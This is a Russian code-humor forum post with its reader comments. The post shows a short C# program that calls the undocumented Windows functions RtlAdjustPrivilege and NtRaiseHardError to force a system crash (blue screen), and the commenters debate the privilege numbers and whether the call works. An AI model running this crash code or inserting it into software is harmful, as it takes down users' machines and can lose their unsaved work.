Си диез / Говнокод #27138 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
  7. 7
  8. 8
  9. 9
  10. 10
  11. 11
  12. 12
  13. 13
  14. 14
  15. 15
  16. 16
  17. 17
  18. 18
  19. 19
  20. 20
  21. 21
  22. 22
  23. 23
using JINN=System;

namespace SiniyShaman
{
	class PrizivSinegoDemona
	{
		[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
		public static extern uint RtlAdjustPrivilege(int Privilege,bool bEnablePrivilege,bool IsThreadPrivilege,out bool PreviousValue);
		
		[JINN.Runtime.InteropServices.DllImport("ntdll.dll")]
		public static extern uint NtRaiseHardError(uint ErrorStatus,uint NumberOfParameters,uint UnicodeStringParameterMask,JINN.IntPtr Parameters,uint ValidResponseOption,out uint Response);
		
		[JINN.STAThread]
		static unsafe void Main(string[]args)
		{
			JINN.Runtime.InteropServices.Marshal.PrelinkAll(typeof(PrizivSinegoDemona));
			JINN.Boolean t1;
			uint t2;
			RtlAdjustPrivilege(19,true,false,out t1);
			NtRaiseHardError(0xc0000022,0,0,JINN.IntPtr.Zero,6,out t2);
		}
	}
}

Волшебства не бывает говорили они... В армию уже походу не возьмут %)

Запостил: DartPower DartPower, (Updated )

Комментарии (8) RSS

  • Вызов из шарпа недокументированной виндохуйни которая делает бсод? Как интересно...
    Ответить
  • А как из юзерленда можно дернуть NtRaiseHardError?

    Или там есть спец привилегия типа как у TCB (та самая 19-я, кстати у нее есть имя?), но разве винда ее даст?
    Ответить
    • Обычная привилегия на шатдаун, если верить гуглу.

      З.Ы. Хотя 19 -- debug. Кому верить -- хрен знает.
      Ответить
      • Ну и какая из них разрешает вызвать NtRaiseHardError?

        А, стоп

        Пишут, что это не BSOD никакой, а какое-то говносообщение через LPC в CSRSS, и он в ответ message box кажет

        Тогда где тут синий джин/
        Ответить
        • Неибу, функция же недокументированная. Номера, в теории, вроде тоже не фиксированные, надо имена юзать.
          Ответить
          • чото я думал, что привелегии это макросы, определенные в хедерах, и соответстенно резолвятся в числа в момент компиляции. Тогда их нельзя менять.

            Но я могу быть не прав
            Ответить
            • Короче всё как всегда запутанно... RtlAdjustPrivilege -- недокументированная хуита, которая юзает циферки из wdm.h. И 19 таки означает SE_SHUTDOWN_PRIVILEGE.

              А в документированном API рекомендуется получать циферку (luid) по имени привилегии (SE_SHUTDOWN_NAME), а не хардкодить. Интересно нафига, если они всё равно захардкожены в нижнем слое.

              У MS как всегда джва API -- для себя и для остальных.
              Ответить
              • З.Ы. Или luid и эта циферка из wdm.h -- разные вещи, и они как-то там мапаются друг на друга?

                Какой багор )))
                Ответить

Добавить комментарий

Из-за тебя ушел bormand, guest!

    А не использовать ли нам bbcode?


    8